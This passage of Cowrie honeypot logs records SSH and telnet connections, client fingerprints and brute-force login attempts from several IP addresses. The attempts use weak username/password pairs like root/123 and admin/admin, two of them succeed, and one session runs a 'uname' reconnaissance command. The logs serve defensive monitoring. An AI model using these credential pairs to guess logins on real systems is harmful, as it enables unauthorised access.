0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:44.173797Z","src_ip":"192.109.200.78","session":"1ff9303e9b7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu-server","password":"123456","message":"login attempt [ubuntu-server/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:44.419325Z","src_ip":"192.109.200.78","session":"1ff9303e9b7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:44.754141Z","src_ip":"177.54.62.66","session":"b3330cfd2887","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:45.505185Z","src_ip":"192.109.200.78","session":"1ff9303e9b7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42938,"dst_ip":"159.203.135.109","dst_port":22,"session":"111c262f537d","protocol":"ssh","message":"New connection: 192.109.200.78:42938 (159.203.135.109:22) [session: 111c262f537d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:48.259192Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:48.264613Z","src_ip":"192.109.200.78","session":"111c262f537d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39268,"dst_ip":"159.203.135.109","dst_port":22,"session":"edb0c365ec71","protocol":"ssh","message":"New connection: 159.203.92.129:39268 (159.203.135.109:22) [session: edb0c365ec71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:48.280606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:48.288888Z","src_ip":"159.203.92.129","session":"edb0c365ec71","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:48.293639Z","src_ip":"159.203.92.129","session":"edb0c365ec71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"RAID5","password":"123456","message":"login attempt [RAID5/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:48.306563Z","src_ip":"159.203.92.129","session":"edb0c365ec71","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:48.347460Z","src_ip":"192.109.200.78","session":"111c262f537d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1234","password":"root1234","message":"login attempt [root1234/root1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:48.603233Z","src_ip":"192.109.200.78","session":"111c262f537d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:49.314020Z","src_ip":"159.203.92.129","session":"edb0c365ec71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:49.691129Z","src_ip":"192.109.200.78","session":"111c262f537d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42966,"dst_ip":"159.203.135.109","dst_port":22,"session":"be493cd032ba","protocol":"ssh","message":"New connection: 192.109.200.78:42966 (159.203.135.109:22) [session: be493cd032ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:52.343845Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:52.450726Z","src_ip":"192.109.200.78","session":"be493cd032ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:52.457448Z","src_ip":"192.109.200.78","session":"be493cd032ba","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"bot","message":"login attempt [bot/bot] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:52.852371Z","src_ip":"192.109.200.78","session":"be493cd032ba","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:53.058607Z","src_ip":"192.109.200.78","session":"be493cd032ba","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:53.062068Z","src_ip":"192.109.200.78","session":"be493cd032ba","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:53.153090Z","src_ip":"192.109.200.78","session":"be493cd032ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:53.157859Z","src_ip":"192.109.200.78","session":"be493cd032ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42972,"dst_ip":"159.203.135.109","dst_port":22,"session":"8949afa53683","protocol":"ssh","message":"New connection: 192.109.200.78:42972 (159.203.135.109:22) [session: 8949afa53683]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:56.670611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:56.675488Z","src_ip":"192.109.200.78","session":"8949afa53683","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:56.758747Z","src_ip":"192.109.200.78","session":"8949afa53683","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123","message":"login attempt [root/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:57.019342Z","src_ip":"192.109.200.78","session":"8949afa53683","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:58.105011Z","src_ip":"192.109.200.78","session":"8949afa53683","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38800,"dst_ip":"159.203.135.109","dst_port":22,"session":"416eecd5d9cd","protocol":"ssh","message":"New connection: 192.109.200.78:38800 (159.203.135.109:22) [session: 416eecd5d9cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:00.816580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:00.925515Z","src_ip":"192.109.200.78","session":"416eecd5d9cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:00.943220Z","src_ip":"192.109.200.78","session":"416eecd5d9cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"devops","message":"login attempt [devops/devops] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:01.280857Z","src_ip":"192.109.200.78","session":"416eecd5d9cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:02.367050Z","src_ip":"192.109.200.78","session":"416eecd5d9cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38824,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f9a0e8797f6","protocol":"ssh","message":"New connection: 192.109.200.78:38824 (159.203.135.109:22) [session: 8f9a0e8797f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:05.018075Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:05.027321Z","src_ip":"192.109.200.78","session":"8f9a0e8797f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:05.114870Z","src_ip":"192.109.200.78","session":"8f9a0e8797f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@55w0rd","message":"login attempt [root/P@55w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:05.369018Z","src_ip":"192.109.200.78","session":"8f9a0e8797f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:06.488250Z","src_ip":"192.109.200.78","session":"8f9a0e8797f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":40060,"dst_ip":"159.203.135.109","dst_port":22,"session":"8cb954427729","protocol":"ssh","message":"New connection: 80.94.92.186:40060 (159.203.135.109:22) [session: 8cb954427729]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:07.268387Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:07.367609Z","src_ip":"80.94.92.186","session":"8cb954427729","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:07.484386Z","src_ip":"80.94.92.186","session":"8cb954427729","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:08.230193Z","src_ip":"80.94.92.186","session":"8cb954427729","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:08.459231Z","src_ip":"146.190.83.66","session":"6d8fb9d94295","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:08.565748Z","src_ip":"146.190.83.66","session":"6d8fb9d94295","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36236,"dst_ip":"159.203.135.109","dst_port":22,"session":"753ac6c7ff78","protocol":"ssh","message":"New connection: 192.109.200.78:36236 (159.203.135.109:22) [session: 753ac6c7ff78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:09.106411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:09.134334Z","src_ip":"192.109.200.78","session":"753ac6c7ff78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","e